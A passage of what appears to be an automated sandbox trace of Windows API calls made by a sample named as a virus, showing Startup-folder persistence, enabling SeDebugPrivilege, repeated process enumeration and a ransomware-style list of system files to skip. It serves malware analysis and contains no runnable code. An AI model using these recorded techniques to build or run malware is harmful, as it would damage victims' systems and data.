out: hHeap=0x6a0000) returned 1 [0162.625] GetProcessHeap () returned 0x6a0000 [0162.625] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e20 | out: hHeap=0x6a0000) returned 1 [0162.625] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x41fb34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x41fb34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.625] GetProcessHeap () returned 0x6a0000 [0162.625] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e48 | out: hHeap=0x6a0000) returned 1 [0162.625] GetProcessHeap () returned 0x6a0000 [0162.625] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bb190 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b19a0 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x190) returned 0x6bacd8 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x70) returned 0x6bb1c0 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x6a) returned 0x6baf50 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6baf50, Size=0xd2) returned 0x6baf50 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x184) returned 0x6bb450 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b19e8 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6ba5e0 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x250) returned 0x6bbc60 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa0) returned 0x6bb5e0 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x96) returned 0x6bb688 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x96) returned 0x6ba7f8 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6ba898 [0162.626] GetProcessHeap () returned 0x6a0000 [0162.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba898 | out: hHeap=0x6a0000) returned 1 [0162.627] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt", lpDst=0x6bb688, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt") returned 0x4b [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba7f8 | out: hHeap=0x6a0000) returned 1 [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb5e0 | out: hHeap=0x6a0000) returned 1 [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x70) returned 0x6bb5e0 [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x62) returned 0x6ba7f8 [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x62) returned 0x6ba868 [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6ba8d8 [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba8d8 | out: hHeap=0x6a0000) returned 1 [0162.627] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x6ba7f8, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba868 | out: hHeap=0x6a0000) returned 1 [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba7f8, Size=0xc2) returned 0x6ba7f8 [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc2) returned 0x6bbeb8 [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6ba8c8 [0162.627] GetProcessHeap () returned 0x6a0000 [0162.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba8c8 | out: hHeap=0x6a0000) returned 1 [0162.627] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x6ba7f8, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0162.628] GetProcessHeap () returned 0x6a0000 [0162.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bbeb8 | out: hHeap=0x6a0000) returned 1 [0162.628] GetProcessHeap () returned 0x6a0000 [0162.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb5e0 | out: hHeap=0x6a0000) returned 1 [0162.628] GetProcessHeap () returned 0x6a0000 [0162.628] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6bbeb8 [0162.628] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bbeb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0162.628] GetProcessHeap () returned 0x6a0000 [0162.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bbeb8 | out: hHeap=0x6a0000) returned 1 [0162.628] GetProcessHeap () returned 0x6a0000 [0162.628] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x182) returned 0x6bbeb8 [0162.628] GetProcessHeap () returned 0x6a0000 [0162.628] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24e) returned 0x6bc048 [0162.628] GetProcessHeap () returned 0x6a0000 [0162.628] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x98) returned 0x6bb5e0 [0162.628] GetProcessHeap () returned 0x6a0000 [0162.628] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6bb5e0, Size=0x132) returned 0x6bc2a0 [0162.628] GetProcessHeap () returned 0x6a0000 [0162.628] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6a) returned 0x6bb5e0 [0162.628] GetProcessHeap () returned 0x6a0000 [0162.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5e0 | out: hHeap=0x6a0000) returned 1 [0162.629] GetProcessHeap () returned 0x6a0000 [0162.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bbc60 | out: hHeap=0x6a0000) returned 1 [0162.629] GetProcessHeap () returned 0x6a0000 [0162.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb688 | out: hHeap=0x6a0000) returned 1 [0162.629] GetProcessHeap () returned 0x6a0000 [0162.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba7f8 | out: hHeap=0x6a0000) returned 1 [0162.629] GetProcessHeap () returned 0x6a0000 [0162.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b19a0 | out: hHeap=0x6a0000) returned 1 [0162.629] GetProcessHeap () returned 0x6a0000 [0162.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bacd8 | out: hHeap=0x6a0000) returned 1 [0162.629] GetProcessHeap () returned 0x6a0000 [0162.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb1c0 | out: hHeap=0x6a0000) returned 1 [0162.629] GetProcessHeap () returned 0x6a0000 [0162.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb450 | out: hHeap=0x6a0000) returned 1 [0162.629] GetProcessHeap () returned 0x6a0000 [0162.629] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bb030 [0162.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf622ee, lpParameter=0x6bb030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0 [0162.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf6239a, lpParameter=0x41fb6c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8 [0162.631] GetProcessHeap () returned 0x6a0000 [0162.631] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bb200 [0162.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf62161, lpParameter=0x6bb200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac [0162.632] GetProcessHeap () returned 0x6a0000 [0162.632] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bb658 [0162.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf61a76, lpParameter=0x6bb658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8 [0162.636] GetProcessHeap () returned 0x6a0000 [0162.636] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bb698 [0162.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf61cc5, lpParameter=0x6bb698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc [0162.637] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0xffffffff) returned 0x0 [0200.358] WaitForMultipleObjects (nCount=0x4, lpHandles=0x41fbc8*=0xb0, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 55 os_tid = 0x78c [0162.928] GetProcessHeap () returned 0x6a0000 [0162.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x440) returned 0x6bc3e0 [0162.928] GetProcessHeap () returned 0x6a0000 [0162.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bbe70 [0162.928] GetCurrentProcess () returned 0xffffffff [0162.928] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x51fb50 | out: TokenHandle=0x51fb50*=0xc0) returned 1 [0162.928] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x51fb48 | out: lpLuid=0x51fb48*(LowPart=0x14, HighPart=0)) returned 1 [0163.147] AdjustTokenPrivileges (in: TokenHandle=0xc0, DisableAllPrivileges=0, NewState=0x51fb38*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0163.147] CloseHandle (hObject=0xc0) returned 1 [0163.147] GetProcessHeap () returned 0x6a0000 [0163.148] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bbe70 | out: hHeap=0x6a0000) returned 1 [0163.148] GetProcessHeap () returned 0x6a0000 [0163.148] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x434) returned 0x6d4800 [0163.148] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc0 [0163.152] Process32FirstW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.152] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0163.153] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0163.153] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.153] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0163.154] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.154] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0163.155] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0163.155] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0163.155] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0163.156] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.156] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.157] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.157] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.157] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.158] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0163.158] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.158] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.159] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0163.160] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0163.160] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0163.160] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0163.161] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0163.161] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.162] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0163.162] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0163.162] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0163.163] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0163.163] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0163.163] Process32NextW (in: hSnapshot=0xc0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0 [0163.164] CloseHandle (hObject=0xc0) returned 1 [0163.164] Sleep (dwMilliseconds=0x1f4) [0163.875] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c [0163.877] Process32FirstW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.877] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0163.878] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0163.879] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.879] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0163.880] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.880] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0163.880] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0163.881] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0163.881] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0163.882] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.882] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.883] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.883] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.883] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, 